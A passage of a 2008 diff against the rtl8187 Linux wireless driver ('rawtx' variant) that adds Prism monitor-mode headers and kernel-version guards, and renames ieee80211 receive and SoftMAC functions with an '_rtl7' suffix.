Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,89 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); +#else + skb_reset_mac_header(skb); +#endif + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +134,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +164,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +203,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +216,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +226,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +248,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +257,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +323,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +364,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +374,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +409,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +419,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +437,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +483,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +506,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +514,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +551,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +571,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +599,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +625,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +643,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +653,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +676,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +689,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +700,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +734,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +744,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +764,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +792,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +833,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -861,7 +931,12 @@ if (skb2 != NULL) { /* send to wireless media */ skb2->protocol = __constant_htons(ETH_P_802_3); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb2->mac.raw = skb2->nh.raw = skb2->data; +#else + skb_reset_mac_header(skb2); + skb_reset_network_header(skb2); +#endif /* skb2->nh.raw = skb2->data + ETH_HLEN; */ skb2->dev = dev; dev_queue_xmit(skb2); @@ -896,7 +971,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +988,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1039,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1066,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1089,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1118,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1190,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1222,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1230,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1269,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1279,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1314,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1336,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1381,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1390,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1430,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return 